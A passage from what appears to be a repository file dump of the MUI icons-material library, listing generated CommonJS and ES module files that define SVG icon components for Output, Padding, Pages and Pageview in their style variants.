    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 17 5-5-5-5-1.41 1.41L18.17 11H9v2h9.17l-2.58 2.59z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14v2h2V5c0-1.1-.89-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.11 0 2-.9 2-2v-2h-2z\"\n}, \"1\")], 'Output');"
  },
  {
    "path": "packages/mui-icons-material/lib/Output.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 17 5-5-5-5-1.41 1.41L18.17 11H9v2h9.17l-2.58 2.59z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14v2h2V5c0-1.1-.89-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.11 0 2-.9 2-2v-2h-2z\"\n}, \"1\")], 'Output');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutputOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 17 5-5-5-5-1.41 1.41L18.17 11H9v2h9.17l-2.58 2.59z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14v2h2V5c0-1.1-.89-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.11 0 2-.9 2-2v-2h-2z\"\n}, \"1\")], 'OutputOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutputOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 17 5-5-5-5-1.41 1.41L18.17 11H9v2h9.17l-2.58 2.59z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14v2h2V5c0-1.1-.89-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.11 0 2-.9 2-2v-2h-2z\"\n}, \"1\")], 'OutputOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutputRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.71 16.29 3.59-3.59c.39-.39.39-1.02 0-1.41L17.71 7.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L18.17 11H10c-.55 0-1 .45-1 1s.45 1 1 1h8.17l-1.88 1.88c-.39.39-.39 1.02 0 1.41s1.03.39 1.42 0\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14v1c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.11 0 2-.9 2-2v-1c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}, \"1\")], 'OutputRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutputRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.71 16.29 3.59-3.59c.39-.39.39-1.02 0-1.41L17.71 7.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L18.17 11H10c-.55 0-1 .45-1 1s.45 1 1 1h8.17l-1.88 1.88c-.39.39-.39 1.02 0 1.41s1.03.39 1.42 0\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14v1c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.11 0 2-.9 2-2v-1c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}, \"1\")], 'OutputRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutputSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 17 5-5-5-5-1.41 1.41L18.17 11H9v2h9.17l-2.58 2.59z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14v2h2V3H3v18h18v-4h-2z\"\n}, \"1\")], 'OutputSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutputSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 17 5-5-5-5-1.41 1.41L18.17 11H9v2h9.17l-2.58 2.59z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14v2h2V3H3v18h18v-4h-2z\"\n}, \"1\")], 'OutputSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutputTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 17 5-5-5-5-1.41 1.41L18.17 11H9v2h9.17l-2.58 2.59z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14v2h2V5c0-1.1-.89-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.11 0 2-.9 2-2v-2h-2z\"\n}, \"1\")], 'OutputTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OutputTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 17 5-5-5-5-1.41 1.41L18.17 11H9v2h9.17l-2.58 2.59z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14v2h2V5c0-1.1-.89-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.11 0 2-.9 2-2v-2h-2z\"\n}, \"1\")], 'OutputTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Padding.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14zM11 7h2v2h-2zM7 7h2v2H7zm8 0h2v2h-2z\"\n}), 'Padding');"
  },
  {
    "path": "packages/mui-icons-material/lib/Padding.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm16 16H5V5h14zM11 7h2v2h-2zM7 7h2v2H7zm8 0h2v2h-2z\"\n}), 'Padding');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaddingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 14H5V5h14zM11 7h2v2h-2zM7 7h2v2H7zm8 0h2v2h-2z\"\n}), 'PaddingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaddingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 14H5V5h14zM11 7h2v2h-2zM7 7h2v2H7zm8 0h2v2h-2z\"\n}), 'PaddingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaddingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m6 3c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'PaddingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaddingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m6 3c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'PaddingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaddingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm6 6H7V7h2zm4 0h-2V7h2zm4 0h-2V7h2z\"\n}), 'PaddingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaddingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm6 6H7V7h2zm4 0h-2V7h2zm4 0h-2V7h2z\"\n}), 'PaddingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaddingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zM15 7h2v2h-2zm-4 0h2v2h-2zM7 7h2v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 14H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7h2v2h-2zM7 7h2v2H7zm4 0h2v2h-2z\"\n}, \"2\")], 'PaddingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaddingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zM15 7h2v2h-2zm-4 0h2v2h-2zM7 7h2v2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 14H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7h2v2h-2zM7 7h2v2H7zm4 0h2v2h-2z\"\n}, \"2\")], 'PaddingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pages.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v6h5L7 7l4 1V3H5c-1.1 0-2 .9-2 2m5 8H3v6c0 1.1.9 2 2 2h6v-5l-4 1zm9 4-4-1v5h6c1.1 0 2-.9 2-2v-6h-5zm2-14h-6v5l4-1-1 4h5V5c0-1.1-.9-2-2-2\"\n}), 'Pages');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pages.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v6h5L7 7l4 1V3H5c-1.1 0-2 .9-2 2m5 8H3v6c0 1.1.9 2 2 2h6v-5l-4 1zm9 4-4-1v5h6c1.1 0 2-.9 2-2v-6h-5zm2-14h-6v5l4-1-1 4h5V5c0-1.1-.9-2-2-2\"\n}), 'Pages');"
  },
  {
    "path": "packages/mui-icons-material/lib/PagesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 2h6v6h-3l1-4-4 1zM5 5h6v3L7 7l1 4H5zm6 14H5v-6h3l-1 4 4-1zm8 0h-6v-3l4 1-1-4h3zm-4.37-4.37L12 13.72l-2.63.91.91-2.63-.91-2.63 2.63.91 2.63-.91-.91 2.63z\"\n}), 'PagesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PagesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 2h6v6h-3l1-4-4 1zM5 5h6v3L7 7l1 4H5zm6 14H5v-6h3l-1 4 4-1zm8 0h-6v-3l4 1-1-4h3zm-4.37-4.37L12 13.72l-2.63.91.91-2.63-.91-2.63 2.63.91 2.63-.91-.91 2.63z\"\n}), 'PagesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PagesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v6h5l-.6-2.38c-.18-.74.48-1.4 1.22-1.22L11 8V3H5c-1.1 0-2 .9-2 2m5 8H3v6c0 1.1.9 2 2 2h6v-5l-2.38.6c-.73.18-1.4-.48-1.21-1.21zm7.38 3.6L13 16v5h6c1.1 0 2-.9 2-2v-6h-5l.6 2.38c.18.74-.48 1.4-1.22 1.22M19 3h-6v5l2.38-.6c.73-.18 1.4.48 1.21 1.21L16 11h5V5c0-1.1-.9-2-2-2\"\n}), 'PagesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PagesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v6h5l-.6-2.38c-.18-.74.48-1.4 1.22-1.22L11 8V3H5c-1.1 0-2 .9-2 2m5 8H3v6c0 1.1.9 2 2 2h6v-5l-2.38.6c-.73.18-1.4-.48-1.21-1.21zm7.38 3.6L13 16v5h6c1.1 0 2-.9 2-2v-6h-5l.6 2.38c.18.74-.48 1.4-1.22 1.22M19 3h-6v5l2.38-.6c.73-.18 1.4.48 1.21 1.21L16 11h5V5c0-1.1-.9-2-2-2\"\n}), 'PagesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PagesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v8h5L7 7l4 1V3zm5 10H3v8h8v-5l-4 1zm9 4-4-1v5h8v-8h-5zm4-14h-8v5l4-1-1 4h5z\"\n}), 'PagesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PagesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v8h5L7 7l4 1V3zm5 10H3v8h8v-5l-4 1zm9 4-4-1v5h8v-8h-5zm4-14h-8v5l4-1-1 4h5z\"\n}), 'PagesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PagesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 7 4 1V5H5v6h3zm1 6H5v6h6v-3l-4 1zm9 4-4-1v3h6v-6h-3zm-4-9 4-1-1 4h3V5h-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 5h6v3L7 7l1 4H5zm6 14H5v-6h3l-1 4 4-1zm-1.63-4.37.91-2.63-.91-2.63 2.63.91 2.63-.91-.91 2.63.91 2.63-2.63-.91zM19 19h-6v-3l4 1-1-4h3zm0-8h-3l1-4-4 1V5h6z\"\n}, \"1\")], 'PagesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PagesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 7 4 1V5H5v6h3zm1 6H5v6h6v-3l-4 1zm9 4-4-1v3h6v-6h-3zm-4-9 4-1-1 4h3V5h-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 5h6v3L7 7l1 4H5zm6 14H5v-6h3l-1 4 4-1zm-1.63-4.37.91-2.63-.91-2.63 2.63.91 2.63-.91-.91 2.63.91 2.63-2.63-.91zM19 19h-6v-3l4 1-1-4h3zm0-8h-3l1-4-4 1V5h6z\"\n}, \"1\")], 'PagesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pageview.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9C10.12 9 9 10.12 9 11.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S12.88 9 11.5 9M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-3.21 14.21-2.91-2.91c-.69.44-1.51.7-2.39.7C9.01 16 7 13.99 7 11.5S9.01 7 11.5 7 16 9.01 16 11.5c0 .88-.26 1.69-.7 2.39l2.91 2.9z\"\n}), 'Pageview');"
  },
  {
    "path": "packages/mui-icons-material/lib/Pageview.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9C10.12 9 9 10.12 9 11.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S12.88 9 11.5 9M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-3.21 14.21-2.91-2.91c-.69.44-1.51.7-2.39.7C9.01 16 7 13.99 7 11.5S9.01 7 11.5 7 16 9.01 16 11.5c0 .88-.26 1.69-.7 2.39l2.91 2.9z\"\n}), 'Pageview');"
  },
  {
    "path": "packages/mui-icons-material/lib/PageviewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.49 16c.88 0 1.7-.26 2.39-.7l2.44 2.44 1.42-1.42-2.44-2.43c.44-.7.7-1.51.7-2.39C16 9.01 13.99 7 11.5 7S7 9.01 7 11.5 9.01 16 11.49 16m.01-7c1.38 0 2.5 1.12 2.5 2.5S12.88 14 11.5 14 9 12.88 9 11.5 10.12 9 11.5 9M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}), 'PageviewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PageviewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.49 16c.88 0 1.7-.26 2.39-.7l2.44 2.44 1.42-1.42-2.44-2.43c.44-.7.7-1.51.7-2.39C16 9.01 13.99 7 11.5 7S7 9.01 7 11.5 9.01 16 11.49 16m.01-7c1.38 0 2.5 1.12 2.5 2.5S12.88 14 11.5 14 9 12.88 9 11.5 10.12 9 11.5 9M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}), 'PageviewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PageviewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9C10.12 9 9 10.12 9 11.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S12.88 9 11.5 9M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-3.92 13.5-2.2-2.2c-.9.58-2.03.84-3.22.62-1.88-.35-3.38-1.93-3.62-3.83-.38-3.01 2.18-5.52 5.21-5.04 1.88.3 3.39 1.84 3.7 3.71.19 1.16-.08 2.23-.64 3.12l2.2 2.19c.39.39.39 1.03 0 1.42-.4.4-1.04.4-1.43.01\"\n}), 'PageviewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PageviewRounded.mjs",
